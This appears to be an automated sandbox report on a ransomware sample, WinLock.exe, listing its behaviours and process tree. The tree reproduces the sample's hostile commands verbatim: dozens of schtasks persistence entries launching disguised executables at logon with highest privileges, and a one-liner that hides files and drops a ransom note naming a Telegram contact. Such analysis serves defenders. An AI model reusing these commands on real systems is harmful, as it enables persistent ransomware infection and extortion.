Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cipher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lodctr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 5 IoCs

Adversaries may check for Internet connectivity on compromised systems.

Internet Connection Discovery

T1016.001

pid	Process
12740	cmd.exe
972	Process not Found
9852	Process not Found
14856	Process not Found
12284	Process not Found

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
5576	taskkill.exe

Runs net.exe

Runs regedit.exe 1 IoCs

pid	Process
8280	Process not Found

Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
10664	Process not Found
8000	Process not Found
6780	Process not Found
6160	Process not Found
2772	Process not Found
14592	Process not Found
4608	Process not Found
5456	Process not Found
10264	Process not Found
1212	Process not Found
5612	schtasks.exe
15140	Process not Found
11324	Process not Found
15292	Process not Found
8848	schtasks.exe
8612	Process not Found
13356	Process not Found
9072	Process not Found
15280	Process not Found
8608	Process not Found
12464	Process not Found
14772	Process not Found
14228	Process not Found
7528	Process not Found
4388	schtasks.exe
14576	Process not Found
11220	Process not Found
12808	Process not Found
15100	schtasks.exe
14792	Process not Found
12292	schtasks.exe
8052	schtasks.exe
8540	schtasks.exe
10280	Process not Found
12428	Process not Found
7520	schtasks.exe
2240	schtasks.exe
4232	Process not Found
7456	Process not Found
4508	Process not Found
9808	schtasks.exe
9808	Process not Found
11548	Process not Found
6384	schtasks.exe
3060	Process not Found
11668	schtasks.exe
2624	Process not Found
10108	Process not Found
9860	Process not Found
5220	schtasks.exe
10432	schtasks.exe
7324	schtasks.exe
5588	Process not Found
8420	Process not Found
10908	Process not Found
6060	schtasks.exe
11700	Process not Found
8364	schtasks.exe
6248	schtasks.exe
14004	Process not Found
1960	Process not Found
6400	Process not Found
15312	Process not Found
8812	Process not Found

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe
5932	WinLock.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5932	WinLock.exe
Token: SeDebugPrivilege	5576	taskkill.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5932	WinLock.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5932 wrote to memory of 2284	5932	WinLock.exe	103
PID 5932 wrote to memory of 4948	5932	WinLock.exe	104
PID 5932 wrote to memory of 5352	5932	WinLock.exe	105
PID 5932 wrote to memory of 424	5932	WinLock.exe	106
PID 5932 wrote to memory of 4864	5932	WinLock.exe	108
PID 5932 wrote to memory of 3476	5932	WinLock.exe	109
PID 5932 wrote to memory of 1540	5932	WinLock.exe	111
PID 5932 wrote to memory of 5104	5932	WinLock.exe	114
PID 5932 wrote to memory of 1104	5932	WinLock.exe	116
PID 5932 wrote to memory of 2452	5932	WinLock.exe	117
PID 5932 wrote to memory of 1576	5932	WinLock.exe	118
PID 5932 wrote to memory of 1484	5932	WinLock.exe	119
PID 5932 wrote to memory of 3184	5932	WinLock.exe	121
PID 5932 wrote to memory of 5896	5932	WinLock.exe	123
PID 5932 wrote to memory of 1332	5932	WinLock.exe	124
PID 5932 wrote to memory of 4328	5932	WinLock.exe	125
PID 5932 wrote to memory of 2248	5932	WinLock.exe	126
PID 5932 wrote to memory of 456	5932	WinLock.exe	127
PID 5932 wrote to memory of 2000	5932	WinLock.exe	128
PID 5932 wrote to memory of 1748	5932	WinLock.exe	129
PID 5932 wrote to memory of 2616	5932	WinLock.exe	130
PID 5932 wrote to memory of 412	5932	WinLock.exe	132
PID 5932 wrote to memory of 2940	5932	WinLock.exe	133
PID 5932 wrote to memory of 3032	5932	WinLock.exe	134
PID 5932 wrote to memory of 4980	5932	WinLock.exe	135
PID 5932 wrote to memory of 5768	5932	WinLock.exe	136
PID 5932 wrote to memory of 4964	5932	WinLock.exe	140
PID 5932 wrote to memory of 2104	5932	WinLock.exe	142
PID 5932 wrote to memory of 828	5932	WinLock.exe	143
PID 5932 wrote to memory of 3284	5932	WinLock.exe	144
PID 5932 wrote to memory of 2928	5932	WinLock.exe	146
PID 5932 wrote to memory of 2972	5932	WinLock.exe	147
PID 5932 wrote to memory of 5492	5932	WinLock.exe	152
PID 5932 wrote to memory of 4504	5932	WinLock.exe	154
PID 5932 wrote to memory of 2828	5932	WinLock.exe	155
PID 5932 wrote to memory of 3760	5932	WinLock.exe	156
PID 5932 wrote to memory of 4696	5932	WinLock.exe	157
PID 5932 wrote to memory of 4512	5932	WinLock.exe	158
PID 5932 wrote to memory of 5576	5932	WinLock.exe	159
PID 4948 wrote to memory of 6820	4948	cmd.exe	475
PID 5352 wrote to memory of 6828	5352	cmd.exe	213
PID 2284 wrote to memory of 6952	2284	cmd.exe	214
PID 2104 wrote to memory of 7032	2104	cmd.exe	215
PID 5932 wrote to memory of 7084	5932	WinLock.exe	216
PID 2972 wrote to memory of 7128	2972	cmd.exe	1628
PID 5932 wrote to memory of 4212	5932	WinLock.exe	218
PID 5932 wrote to memory of 4596	5932	WinLock.exe	219
PID 5932 wrote to memory of 3436	5932	WinLock.exe	220
PID 5932 wrote to memory of 3496	5932	WinLock.exe	221
PID 5932 wrote to memory of 1956	5932	WinLock.exe	222
PID 5932 wrote to memory of 1544	5932	WinLock.exe	223
PID 5932 wrote to memory of 4408	5932	WinLock.exe	224
PID 5932 wrote to memory of 7172	5932	WinLock.exe	225
PID 5932 wrote to memory of 7184	5932	WinLock.exe	226
PID 5932 wrote to memory of 7208	5932	WinLock.exe	227
PID 5932 wrote to memory of 7224	5932	WinLock.exe	228
PID 424 wrote to memory of 4148	424	cmd.exe	230
PID 1540 wrote to memory of 5052	1540	cmd.exe	979
PID 4864 wrote to memory of 3728	4864	cmd.exe	232
PID 2452 wrote to memory of 7244	2452	cmd.exe	233
PID 5932 wrote to memory of 7256	5932	WinLock.exe	234
PID 5932 wrote to memory of 7264	5932	WinLock.exe	235
PID 412 wrote to memory of 7288	412	cmd.exe	1479
PID 5932 wrote to memory of 7300	5932	WinLock.exe	238

Views/modifies file attributes 1 TTPs 12 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4796	attrib.exe
9036	attrib.exe
5540	attrib.exe
9020	attrib.exe
8976	attrib.exe
8788	attrib.exe
7312	attrib.exe
4628	attrib.exe
11540	attrib.exe
9112	attrib.exe
11328	attrib.exe
6992	attrib.exe

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe"
1⤵
- Creates a file in the Startup directory
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5932
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WerFault_1" /tr ""C:\Users\Admin\AppData\Roaming\JoinClear\Logs\WerFault.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2284
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WerFault_1" /tr ""C:\Users\Admin\AppData\Roaming\JoinClear\Logs\WerFault.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6952
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WPDShextAutoplay_2" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\WPDShextAutoplay.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4948
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WPDShextAutoplay_2" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\WPDShextAutoplay.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6820
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_CertEnrollCtrl_3" /tr ""C:\ProgramData\MicrosoftService\CertEnrollCtrl.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5352
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_CertEnrollCtrl_3" /tr ""C:\ProgramData\MicrosoftService\CertEnrollCtrl.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6828
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:424
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4148
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_xcopy_5" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\xcopy.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4864
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_xcopy_5" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\xcopy.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3728
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ctfmon_6" /tr ""C:\Users\Admin\AppData\Roaming\BlockShow\Logs\ctfmon.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3476
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ctfmon_6" /tr ""C:\Users\Admin\AppData\Roaming\BlockShow\Logs\ctfmon.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7192
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wiaacmgr_7" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\wiaacmgr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1540
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wiaacmgr_7" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\wiaacmgr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5052
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_vcredist_x86_8" /tr ""C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\UpdateCache\vcredist_x86.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5104
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_vcredist_x86_8" /tr ""C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\UpdateCache\vcredist_x86.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7984
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1104
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7476
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_srdelayed_10" /tr ""C:\Users\Admin\AppData\Local\Temp\{05D77BED-53C3-4F6B-8089-D17FF23873EF}\Logs\srdelayed.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2452
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_srdelayed_10" /tr ""C:\Users\Admin\AppData\Local\Temp\{05D77BED-53C3-4F6B-8089-D17FF23873EF}\Logs\srdelayed.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7244
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RMActivate_ssp_isv_11" /tr ""C:\Users\Admin\AppData\Roaming\UninstallPop\Logs\RMActivate_ssp_isv.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1576
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RMActivate_ssp_isv_11" /tr ""C:\Users\Admin\AppData\Roaming\UninstallPop\Logs\RMActivate_ssp_isv.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7512
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WPDShextAutoplay_12" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\WPDShextAutoplay.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1484
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WPDShextAutoplay_12" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\WPDShextAutoplay.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7520
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_explorer_13" /tr ""C:\ProgramData\Oracle\Logs\explorer.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3184
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_explorer_13" /tr ""C:\ProgramData\Oracle\Logs\explorer.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7496
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5896
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7540
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cipher_15" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\cipher.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1332
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cipher_15" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\cipher.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7572
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_winrshost_16" /tr ""C:\Users\Admin\AppData\Roaming\BackupClear\Logs\winrshost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4328
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_winrshost_16" /tr ""C:\Users\Admin\AppData\Roaming\BackupClear\Logs\winrshost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7564
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_UserAccountControlSettings_17" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UserAccountControlSettings.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2248
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_UserAccountControlSettings_17" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UserAccountControlSettings.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7556
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ftp_18" /tr ""C:\ProgramData\SoftwareDistribution\Logs\ftp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:456
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ftp_18" /tr ""C:\ProgramData\SoftwareDistribution\Logs\ftp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7548
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2000
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7592
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cipher_20" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\cipher.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1748
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cipher_20" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\cipher.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8024
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ctfmon_21" /tr ""C:\Users\Admin\AppData\Roaming\BlockShow\Logs\UpdateCache\ctfmon.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:2616
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ctfmon_21" /tr ""C:\Users\Admin\AppData\Roaming\BlockShow\Logs\UpdateCache\ctfmon.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7504
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WPDShextAutoplay_22" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\WPDShextAutoplay.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:412
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WPDShextAutoplay_22" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\WPDShextAutoplay.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7288
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_compact_23" /tr ""C:\ProgramData\USOShared\Logs\compact.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2940
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_compact_23" /tr ""C:\ProgramData\USOShared\Logs\compact.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7992
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3032
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8016
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cipher_25" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\cipher.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4980
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cipher_25" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\cipher.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:8132
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_takeown_26" /tr ""C:\Users\Admin\AppData\Roaming\ImportWrite\Logs\takeown.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5768
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_takeown_26" /tr ""C:\Users\Admin\AppData\Roaming\ImportWrite\Logs\takeown.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8000
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ktmutil_27" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\ktmutil.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4964
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ktmutil_27" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\ktmutil.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:8364
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Netplwiz_28" /tr ""C:\ProgramData\MicrosoftService\Netplwiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2104
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Netplwiz_28" /tr ""C:\ProgramData\MicrosoftService\Netplwiz.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7032
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:828
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8008
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_LaunchTM_30" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\LaunchTM.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3284
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_LaunchTM_30" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\LaunchTM.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1168
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RMActivate_ssp_isv_31" /tr ""C:\Users\Admin\AppData\Roaming\UninstallPop\Logs\UpdateCache\RMActivate_ssp_isv.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2928
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RMActivate_ssp_isv_31" /tr ""C:\Users\Admin\AppData\Roaming\UninstallPop\Logs\UpdateCache\RMActivate_ssp_isv.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8140
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_convert_32" /tr ""C:\Users\Admin\AppData\Local\D3DSCache\Logs\convert.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2972
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_convert_32" /tr ""C:\Users\Admin\AppData\Local\D3DSCache\Logs\convert.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7128
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @angel1cSup 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:5492
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:9020
- - C:\Windows\SysWOW64\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4628
- C:\Windows\SysWOW64\cmd.exe
